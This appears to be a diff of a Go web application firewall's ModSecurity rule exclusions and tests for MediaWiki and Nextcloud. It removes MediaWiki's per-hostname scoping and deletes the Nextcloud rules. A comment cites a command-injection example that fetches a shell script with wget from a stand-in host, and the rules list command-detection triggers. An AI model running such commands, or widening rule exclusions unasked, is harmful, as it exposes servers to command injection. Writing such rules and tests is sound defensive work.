t.Errorf("%v with %s let through", sent, value) t.Errorf("%v with %s let through", sent, value)
+2 -13
View File
@@ -1,4 +1,4 @@
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that # The eleventh change: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki # refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a # sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the # reason, and the fields that hold wikitext. Each exclusion runs with the
@@ -21,13 +21,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_mediawiki when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields # The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address: # for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history # title: /index.php?title=Python3_notes&action=history
@@ -205,12 +198,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# This rule is in phase 2, because a phase 1 rule runs before the body is read # This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles # and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles # once, since it would otherwise skip these rules for a second wpTitles
# holding a command. It checks tx.app_mediawiki, since the skip above does not # holding a command.
# reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain" "id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain" SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain" SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \ SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -219,5 +210,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles" ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
+2 -44
View File
@@ -4,16 +4,11 @@ import (
"net/http" "net/http"
"slices" "slices"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5 const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to. // mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit" const mediawikiEdit = "/index.php?title=Example&action=submit"
@@ -50,44 +45,7 @@ const (
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki) wantRecordedRequestsPass(t, "mediawiki-requests.txt")
}
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
} }
// mediawikiQueryFields and mediawikiBodyFields together hold every field that // mediawikiQueryFields and mediawikiBodyFields together hold every field that
@@ -209,7 +167,7 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiAPI, "lgname="}, {mediawikiAPI, "lgname="},
{mediawikiAPI, "lgpassword="}, {mediawikiAPI, "lgpassword="},
{mediawikiAPI, "username="}, {mediawikiAPI, "username="},
{mediawikiAPI, passwordField}, {mediawikiAPI, "password="},
} }
// mediawikiReasonFields are the reasons on the admin pages, which skip only // mediawikiReasonFields are the reasons on the admin pages, which skip only
-257
View File
@@ -1,257 +0,0 @@
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it
# switches off, so this file is loaded before the Core Rule Set's rules. Each
# comment names a request a rule refused. An exclusion on a field of a JSON body
# applies only when the query has no parameter of that name, so it matters only
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
#
# Four rules read a search or a name as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Each exclusion below removes these four from its fields.
#
# A comment, a share's note and an account's status hold sentences a person
# writes. Four more rules refused ordinary sentences there:
# 932125: It is fixed; diff attached
# 932230: Run python3 or powershell; ls -la shows .htaccess
# 932235: We need more time; find the old notes first
# 932380: Tested on Windows; powershell works
# The text of a document holds such sentences too, and code blocks. Two more
# rules refused a shell script in a code block:
# 932160: #!/bin/bash
# 932370: ```bash, which starts the code block
# These fields skip the rules that refused them. So a shell command such as
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there.
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_nextcloud when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_nextcloud itself.
SecRule &TX:app_nextcloud "@eq 0" \
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
# The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
# MKCOL: making a folder, and starting a chunked upload
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
# REPORT: listing favourites and comments
# SEARCH: the Files app's search
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900100,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
# which every request sends, on every path. Each request of the account
# python3 was refused.
SecAction "id:900101,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
# Signing in, in the query or the body:
# user, password: user=python3&password=Example-pass-python3
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900102,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
"id:900103,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
ctl:ruleRemoveTargetById=932260;ARGS:dir"
# The file names on a public share's page. A preview names its file in file:
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
"id:900104,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932250;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file"
# A download names its folder in path and its files in files:
# /s/<token>/download?path=/&files=powershell%20profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
"id:900105,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
# The OCS API's searches and names, in the query, a form data body or a JSON
# body:
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
# cloud/users, cloud/groups, cloud/groups/details and the sharees
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
# groupid, userid, displayName: adding the group "Python3 admins" and the
# account python3, displayName=Ls+-la+Example
# groups[], or groups in JSON: the groups of a new account,
# groups[]=Python3+admins
# value: changing an account's name, address or headline, value=Powershell+Lane
# path, label, shareWith: sharing the folder "/ls -la output" with the
# label "python3 link"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900106,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900107,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
# A share's note, in the query, a form data body or a JSON body, on a new
# share or a changed one: {"note":"It is fixed; diff attached"}.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
"id:900108,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:note,\
ctl:ruleRemoveTargetById=932120;ARGS:note,\
ctl:ruleRemoveTargetById=932125;ARGS:note,\
ctl:ruleRemoveTargetById=932230;ARGS:note,\
ctl:ruleRemoveTargetById=932235;ARGS:note,\
ctl:ruleRemoveTargetById=932250;ARGS:note,\
ctl:ruleRemoveTargetById=932260;ARGS:note,\
ctl:ruleRemoveTargetById=932380;ARGS:note"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
"id:900109,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.note "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
# An account's status, in the query, a form data body or a JSON body:
# {"message":"Tested on Windows; powershell works"}.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
"id:900110,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:message,\
ctl:ruleRemoveTargetById=932120;ARGS:message,\
ctl:ruleRemoveTargetById=932125;ARGS:message,\
ctl:ruleRemoveTargetById=932230;ARGS:message,\
ctl:ruleRemoveTargetById=932235;ARGS:message,\
ctl:ruleRemoveTargetById=932250;ARGS:message,\
ctl:ruleRemoveTargetById=932260;ARGS:message,\
ctl:ruleRemoveTargetById=932380;ARGS:message"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
"id:900111,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
# The name and slogan in the theming admin settings, in the JSON field value:
# {"setting":"slogan","value":"ls -la and .htaccess"}.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
"id:900112,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.value "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
# The Text editor saves a document, such as a folder's Readme.md, with its
# path in the JSON field filePath and its text in autosaveContent. The text
# skips the rules for sentences and code blocks too.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
"id:900113,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
# A comment on a file, in the JSON field message of a new comment, and in the
# XML body of an edited one. It skips the rules for sentences too. An edited
# comment's XML holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
"id:900114,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
"id:900115,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PROPPATCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932235;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*,\
ctl:ruleRemoveTargetById=932380;XML:/*"
# The Files app's search sends its words in the XML body of a SEARCH request,
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
"id:900116,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq SEARCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The name of a new tag, in the JSON field name: {"name": "python3"}.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
"id:900117,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.name "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# A file the Files app or the sync client uploads with PUT to the WebDAV
# paths is a file, not form data. Read as fields, a JSON file holding
# "python3 -m pytest" was refused (932260), and an XML file holding
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
# RAW, a kind of body sww does not read. Its headers, path and query are
# still checked.
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900118,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
SecMarker END_NEXTCLOUD
-547
View File
@@ -1,547 +0,0 @@
package coreruleset_test
import (
"encoding/json"
"html"
"maps"
"net/http"
"net/url"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5
// nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
// nextcloudPreview is a public share's preview of a file.
const nextcloudPreview = "/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO"
// nextcloudUsers is the OCS API's list of accounts.
const nextcloudUsers = "/ocs/v2.php/cloud/users"
// nextcloudShares is the OCS API's list of shares.
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
// nextcloudStatus is where the OCS API sets an account's status.
const nextcloudStatus = "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom"
// nextcloudFiles is the WebDAV folder of the account admin.
const nextcloudFiles = "/remote.php/dav/files/admin/"
// nextcloudSave is where the text editor saves a document.
const nextcloudSave = "/apps/text/session/1/save"
// The WebDAV methods the Files app's search and a comment's edit use, and
// the method the sync client lists a folder with.
const (
nextcloudSearch = "SEARCH"
nextcloudPropPatch = "PROPPATCH"
nextcloudPropFind = "PROPFIND"
)
// nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}`
// nextcloud is Nextcloud's name in SWW_APPS.
const nextcloud = "nextcloud"
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
}
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// A search, which only Nextcloud's fixes let through.
search := get(nextcloudUsers + "?search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// Listing a folder, as the sync client does.
list := request{nextcloudPropFind, nextcloudFiles, nil}
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudQueryFields = []string{
"/login?user=",
"/login?redirect_url=",
"/index.php/login?user=",
"/apps/files/?dir=",
"/apps/files/files/134?dir=",
"/index.php/apps/files/?dir=",
nextcloudPreview + "?file=",
nextcloudShare + "/download?path=",
nextcloudShare + "/download?path=%2F&files=",
nextcloudUsers + "?search=",
nextcloudUsers + "/details?search=",
"/ocs/v2.php/cloud/groups?search=",
"/ocs/v1.php/cloud/groups/details?search=",
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
nextcloudShares + "?path=",
"/ocs/v2.php/search/providers/files/search?term=",
"/ocs/v2.php/search/providers/files/search?term=x&from=",
}
// nextcloudFormFields are the form data fields that skip the four rules, each
// on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{
{"/login", "user="},
{"/login", passwordField},
{nextcloudUsers, "userid="},
{nextcloudUsers, "displayName="},
{nextcloudUsers, "groups%5B%5D="},
{nextcloudUsers + "/admin", "value="},
{"/ocs/v2.php/cloud/groups", "groupid="},
{nextcloudShares, "path="},
{nextcloudShares, "label="},
{nextcloudShares, "shareWith="},
}
// nextcloudBody is a form data, JSON or XML body, sent with its method to a
// path. It holds %s, where a value goes, written as the body's type needs.
type nextcloudBody struct{ method, target, contentType, body string }
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
// on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudBodies = []nextcloudBody{
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
{
http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`,
},
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`,
},
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
{
nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
},
}
// nextcloudDocument is the text of a document the text editor saves, which
// skips the rules for code blocks too.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var nextcloudDocument = nextcloudBody{
http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`,
}
// nextcloudTexts are the fields that hold what a person writes, which skip
// the rules for sentences too: a document, a comment, a share's note and an
// account's status.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{
nextcloudDocument,
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
{
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
`</d:propertyupdate>`,
},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
{
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
formData, "note=%s",
},
{http.MethodPut, nextcloudStatus, jsonBody, `{"message":"%s"}`},
{http.MethodPut, nextcloudStatus, formData, "message=%s"},
}
// nextcloudSentences are sentences recorded in the texts, which rules
// refused there.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudSentences = []string{
"It is fixed; diff attached",
"Run python3 or powershell; ls -la shows .htaccess",
"We need more time; find the old notes first",
"Tested on Windows; powershell works",
}
// nextcloudCodeBlock is a shell script in a code block of a document, as
// recorded.
const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
"tar czf /tmp/notes.tar.gz notes/\nls -la /tmp\n```"
// nextcloudBodyScore returns the request that sends value, which is not
// escaped, in sent's body, and the score crs gives it.
func nextcloudBodyScore(
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
) (string, int) {
t.Helper()
switch sent.contentType {
case formData:
value = url.QueryEscape(value)
case jsonBody:
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
value = string(quoted[1 : len(quoted)-1])
case xmlBody:
value = html.EscapeString(value)
}
body := strings.Replace(sent.body, "%s", value, 1)
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, body)
return sent.method + " " + sent.target + " " + body, got.Score
}
// nextcloudFieldScores returns the score that the Core Rule Set, reading
// bodies, gives each request that sends value, a query value, in one of the
// fields that skip the four rules, keyed by the request.
func nextcloudFieldScores(t *testing.T, value string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
}
for _, sent := range nextcloudFormFields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
scores["POST "+sent.target+" "+sent.field+value] = got.Score
}
written, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
for _, sent := range nextcloudBodies {
request, score := nextcloudBodyScore(t, crs, sent, written)
scores[request] = score
}
return scores
}
// nextcloudTextScores returns the score that the Core Rule Set, reading
// bodies, gives each request that sends text, which is not escaped, in one of
// the texts, keyed by the request.
func nextcloudTextScores(t *testing.T, text string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, sent := range nextcloudTexts {
request, score := nextcloudBodyScore(t, crs, sent, text)
scores[request] = score
}
return scores
}
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, value := range hardValues {
for request, score := range nextcloudFieldScores(t, value) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
}
}
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
t.Parallel()
for _, sentence := range nextcloudSentences {
for request, score := range nextcloudTextScores(t, sentence) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
}
document := "Backup steps:\n\n" + nextcloudCodeBlock
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
